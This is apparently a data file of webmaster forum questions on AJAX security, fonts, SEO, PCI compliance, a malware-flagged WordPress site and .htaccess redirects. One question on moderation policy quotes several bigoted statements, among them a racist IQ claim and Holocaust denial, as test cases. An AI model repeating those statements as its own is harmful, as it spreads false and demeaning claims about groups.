{"id":"11174","title":"Question about AJAX saftey please help inquire","text":"I have a social network that I am creating and have a security question. I have the ability to have friends on the website and when you request a friend it would be a button that would run a script with AJAX using jQuery. I know that javascript can be easily hacked and also read here http:\/\/www.acunetix.com\/websitesecurity\/ajax.htm that AJAX is not as secure as it would seem. They state that \"Since XML HTTP requests function by using the same protocol as all else on the web (HTTP), technically speaking, AJAX-based web applications are vulnerable to the same hacking methodologies as ‘normal’ applications\" . So basically I don't want a worm to just keep running friend requests through my AJAX function and someone signs on the site and they have 14 million friend requests. This is also an issue with several other AJAX scripts that I run on the site. The question that I have is that should I just keep everything server side. I am using php so should every friend request just be a reload of the page as much as I would like to avoid such a thing? Please any help would be greatly appreciated."}
{"id":"11179","title":"safe to assume microsoft core fonts would be installed on client linux?","text":"How safe is it as a web designer to assume that `msttcorefonts` would have beeb installed on a client machine viewing my website? If not what sans serif fonts should I use then? (for body)"}
{"id":"58518","title":"From SEO point of view is hiding H1 in this case bad for indexing?","text":"I'm having to use a 3rd party CMS and I cannot change the contents of the h3 (or the h3 itself) I've not had too much dealing with \"cufon\" - presume its an old fashioned way of using a specific font. I'm guessing it's not legit HTML so not indexed. Therefore I wanted to include the page's header in an `H1` <h3> <span class=\"someClassDictatingTheFontToUse\"> <cufon class=\"cufon cufon-canvas\" alt=\"Alternative text \" style=\"..inline styles..\"> <canvas width=\"73\" height=\"18\" style=\"..inline styles..\"><\/canvas> <cufontext>Page <\/cufontext><\/cufon><cufon class=\"cufon cufon-canvas\" alt=\"Page\" style=\"..inline styles..\"> <canvas width=\"76\" height=\"18\" style=\"..inline styles..\"><\/canvas> <cufontext>Content<\/cufontext> <\/cufon> <\/span> <\/h3> <!-- im proposing this --> <h1 class=\"offthepage_or_verysmall\">Page Content<\/h1> <p>This is my content etc<\/p> where .offthepage { margin-left:-10000px; position:absolute} or .verysmall { height:1px, position:absolute; left:1px; etc } Would the page be penalised (from SE indexing perspective) for that? or is there a more robust \/ SE friendly way of doing it without it being consider keyword stuffing? thanks"}
{"id":"1298","title":"Where do you draw the line on hate speech in user generated content?","text":"Do **you** censor user generated content that's not illegal and doesn't personally attack another user of your website for being hate speech? If so, where do **you** draw the line? EDIT: A few cases where different people might have different ideas about whether speech should be censored: _\"I would never vote for Obama because he's black and blacks have a lower IQ than whites\"_ _\"Homosexuality is a crime, just because some countries have legalized homosexuality doesn't mean that it isn't.\"_ _\"Israelis should go home to where they came from.\"_ _\"The holocaust never happened.\"_ _\"Everyone who voted for Bush has blood on their hands.\"_ _\"All Republicans are racist.\"_ What principle would you use to decide which of those statements are hate speech?"}
{"id":"1561","title":"When a person lands on a personal website, what do they expect to see on the homepage?","text":"I'm torn between making my homepage listing of (5-10 max) recent blog posts versus making my homepage my \"about me\" bio page. I can make the case for both (and if someone would like me to, leave a comment and I will). I think that my case for both is equally strong, but is there any evidence, scientific or anecdotal, as to what type of page or what content the homepage of a personal website should be? I should add that I am interested not only in presenting content that would be expected, but also producing something that would help in ensuring decent result placement when searching for my site. That said, SEO is not my primary concern - I would suspect that most people who visit my site are either friends or colleagues who I have told about my site, people who have read my profile on a public site and want to know more about me, or people who have received my resume and wish to know more about me."}
{"id":"1290","title":"Is PCI compliance scrutinised?","text":"After reading the very strongly worded recommendations regarding the storage of credit card details here, I've got to wonder - what happens if a non-PCI compliant company starts storing credit card details (I'm 100% sure that there are companies out there doing this). For example, let's say I hadn't asked my question on here and I forged ahead and just decided to store customer credit card details and used some basic AES encryption. Now what? If we never get hacked, is anyone going to ask? Will Visa, or our merchant, ever want to inspect our servers? What are the consequences of not using PCI compliant infrastructure? Disclaimer: I get the hint - this is a **bad** idea and we won't be doing it, but I'm curious"}
{"id":"49854","title":"CSS: single directive generic class vs. style-attribute on element","text":"## Single directive generic class ### CSS .text-center { text-align: center } ### HTML <p class=\"text-center\">center me<\/p> That is our (not really) generic class and while we see this more and more over the web, there is no real explanation given why one should use it. Explanations like _re-usable CSS classes_ don’t apply here. This class is as re-usable as the old `<center>` tag. Also, we cannot change the body of the rule, as it would not make sense anymore. It’s absolutely not semantic either. ## The good old `style`-attribute ### HTML <p style=\"text-align:center\">center me<\/p> In the end, we have the same as above, but only in the place where we need it. ## Why? This might be a bad question, because the answer’s may be driven by taste. But personally I’d be interested in an answer that goes along with an explanation. Maybe something like _“using the CSS class will ensure that it’s rendered faster”_ and if possible combined with hard proof. ## Interesting Reads The following are directly related to this question, because they are the reason why I started thinking about this topic: * Keep your classes clean * Semantic class names"}
{"id":"48108","title":"My wordpress site blacklisted as malware by Google","text":"Two years ago I've built a small Wordpress site for a friend of mine, and some weeks ago I got a warning mail from my ISP, about a _worldwide attack to Joomla, Wordpress..._ (well, more or less, it was italian, of course). I had no idea what to do, and nothing seemed to happen. Two days ago, browsing to that site I got a message from my browser (Firefox), about possible malware being detected on my site. I think I've found something to clear, namely a _.htaccess_ under `\/public_html` directory, containing only: RewriteBase \/ RewriteEngine on Well, I can browse that and then I can delete it. But there is also a `skript.php` that I can't inspect - and then neither delete - insufficient permission. EDIT: Now I found also that in _wp-admin_ there is an `images.php` that also I can't inspect, and an _.htaccess_ containing the redirection to the site Google was advising against. I'm using FTP now to check the site, because cpanel (accessed of course with the browser) also give the warning. It's safe to use cpanel? I can't see other way to clean up my site."}
{"id":"13828","title":"How to set up Https on cPanel","text":"Hello I want to set up http **s** on CPanel! but I don't know how? Is there anyone here that can help me? My cpanel version is cPanel Pro 1.0 (RC1)."}
{"id":"10640","title":"SEO: disallowing Google from indexing forms?","text":"**From a SEO point of view, would you exclude forms from being indexed\/crawled by Google or not?** I mean my forms hardly ever contains keyword\/keyphrases. So I'm wondering what's the point of letting Google index them? Moreover I think these form-pages might reduce PR of all other pages in the site cause the other pages are linking to the form-pages. If your answer is \"yes I would exclude them form indexing\" would you simply use robots.txt to exclude them? Thanks!"}
{"id":"66991","title":"Place google map on website","text":"I want to place google map on my website, how can I place google map on my website? can you give any already placed google map link and explain how can I add it on my website also!!!"}
{"id":"7462","title":"Where can I get Apple logo with free license","text":"I am working on a site that provide free tools, some of the tools are multi- platform and therefore I want to put the Icon of each OS, I already got linux icon and windows icon with free license but I couldnt find the apple one. does anyone know where can I get it from? thank you."}
{"id":"10317","title":"Manage own framework","text":"I have developed my own little framework for webpages. And for different websites I had to change some parts of the framework respectively developed new features \/ improvements. But in some cases I missed to copy the changes in the original framework code. How do you manage your frameworks? I copy the complete framework to a library folder in my projects folder structure. So I have a copy of the framework in every project. I would like to have it on one place in order to modify \/ improve \/ bugfix it once and then distribute it on the projects."}
{"id":"13824","title":"Several sub domains pointing to one folder. Fasthosts problem","text":"I have a ASP.net website e.g. `www.website.com`. The idea is that you will go to the URL 'yourname.website.com' and my site will request the name from the sub domain, process it and change the content accordingly. I purchased my Fasthosts hosting package and created a sub domain which points to a folder on my web hosting package at Fast Hosts. e.g. `www.website.com\/folder`. However when I now go to the URL `yourname.website.com` it is immediately redirected to `website.com\/folder`. This means I cannot request the sub domain from the URL because it has been lost. I have tried contacting these guys but they don't understand and keep going on about some sort of redirect script (although I don't see how any further redirects can solve my problem). Is there something I am missing here?"}
{"id":"50397","title":"Avoiding crawl time for noindex pages","text":"I have pages with `noindex` in robots meta tag (specifically inner site search results pages). Because my site has many pages and Google hasn't crawled them all and I'm trying to help his crawler focus and not waste time on irrelevant pages (such as these `noindex` pages). If I add a `nofollow` to the **a href that links to these pages** , will that help? Is the `noindex` in the target pages helpful to avoid crawl time 'waste'? Should I make those pages in a specific folder and block through _robots.txt_?"}
{"id":"5632","title":"Validating sitemaps with images tag","text":"I am trying to add the `<image>` tag to my sitemap, but even trying to look at the XSD , as mentioned by Google at http:\/\/www.google.com\/support\/webmasters\/bin\/answer.py?answer=183668 , I get 404 Error not found (the XSD link: http:\/\/www.sitemaps.org\/schemas\/sitemap- image\/1.1 ). How is that possible? Is there anyway I can validate it without the XSD?"}
{"id":"35765","title":"Seeking .htaccess help: Converting multiple subdomains (both HTTP and HTTPS) to www.domain.com using .htaccess","text":"I've been trying to get an answer to this question on other forums (the folks at SuperUser thought this was the place I needed to post) and via my connections, but I haven't gotten very far. Hopefully you guys can help me find an answer. I've got a dozen old subdomains that have been indexed by Google. These have been indexed as both HTTP AND HTTPS. I've managed to redirect all the subdomains properly, provided they are not HTTPS, but can't get any of the HTTPS subdomains to property redirect. Here's the code I'm using: RewriteCond %{HTTP_HOST} ^subdomain1.mysite.com$ [NC] RewriteRule ^(.*)$ http:\/\/www.mysite.com\/$1 [R=301,L] RewriteCond %{HTTP_HOST} ^subdomain2.mysite.com$ [NC] RewriteRule ^(.*)$ http:\/\/www.mysite.com\/$1 [R=301,L] RewriteCond %{HTTP_HOST} ^subdomain3.mysite.com$ [NC] RewriteRule ^(.*)$ http:\/\/www.mysite.com\/$1 [R=301,L] This works great until someone goes to: https:\/\/subdomain2.mysite.com$ which is not redirected back to http:\/\/www.mysite.com$ How can I get this to work? Additionally, I'm guessing there is an easier way to make it happen than setting up a dozen pairs of `RewriteCond`\/`RewriteRule`? Is there any way to do this in just a few lines, including one where I list all the subdomains? I'd actually also like to redirect everything on `https:\/\/www.mysite.com$` to `http:\/\/www.mysite.com$` except for 3 folders. These are `mysite.com\/secure`, `mysite.com\/store`, `mysite.com\/user`. Is there any good way to add this to the _.htaccess_ file?"}
{"id":"8486","title":"Hangul calligraphy (TTF)","text":"I want a nice hangul font. Can somebody indicate one ? Something elegant and beautiful like this England calligraphy:  I would like to apply it using css 3: <!DOCTYPE html> <html> <head> <meta charset = \"utf-8\"> <style> @font-face { font-family: \"hangul\"; src: url(\"hangul.ttf\"); } body { font-family: hangul; } <\/style> <title><\/title> <\/head> <body> 컴 투 미 <\/body> <\/html> Thanks"}
{"id":"38340","title":"Google authorship verification issue","text":"I'm trying to get my blog content author verified so my face gets into the Google search results. I managed to achieve this a few weeks back - When testing my content in the Google authorship testing tool it reported that I had been verified and I could see my mug in the results. All I had to do was wait a couple of weeks before I started popping up in the search results (I think(?)). However, I seem to have thrown a spanner in the works. I set up Google apps for my domain and merged my old Google+ profile into my google apps account. This seemed to reset my Google+ profile (no biggy, since it was a new profile and only had 1 connection). I re-set up my G+ account and tied it all in to my blog and it's content. I am now seeing some very strange behaviour. If you take a look at one of my blog posts through the snippet testing tool: http:\/\/www.google.com\/webmasters\/tools\/richsnippets?url=http%3A%2F%2Fblog.fraser- hart.co.uk%2Fjquery-fullscreen-background-slideshow%2F&html= You will see that it is not recognising me as an author. However, when you enter my profile URL (https:\/\/plus.google.com\/108765138229426105004) into the \"Authorship verification by email\" input, you will see that it does in fact recognise it as verified. Now, if you try and verify the same page again, it reverts back to unverified. I thought I may have to just wait it out but this has been over a week now and previously (before I merged my profile) it happened instantaneously. Has anyone experienced this bizarre behaviour before? What is happening here? More importantly, is there anything I can do to resolve it?"}
{"id":"38342","title":"Does placing more ads units reduce Adsense CPC?","text":"I have read at many places, publishers saying that placing more ad units (like 3 on a page) tends to reduce the CPC of the ads. Is that so ?"}
{"id":"38344","title":"Should my \"convenience\" link that redirects to page 1 be a permanent or temporary redirect?","text":"So, I have a simple blog. Included in my blog is tags. There are two ways to reach the first page of the posts belonging to a tag though. There is `\/tags\/foobar` and there is `\/tags\/foobar\/1` (where foobar is the tag). Right now I do a temporary redirect from `\/tags\/foobar` to `\/tags\/foobar\/1`. Should I upgrade this to a permanent redirect?"}
{"id":"38346","title":"Keyword ranking tracker that works on a per-domain basis","text":"I'm looking for a keyword racking tracker tool for google. I have found a lot of them over the internet. However I need one that can track the ranks of a site on domain basis (not exact full URL). Because I'm not sure which page of my site comes up on the result depends on the keyword as my site has hundreds of pages. Any recommendation? Or do I have to set each URLs per keyword?"}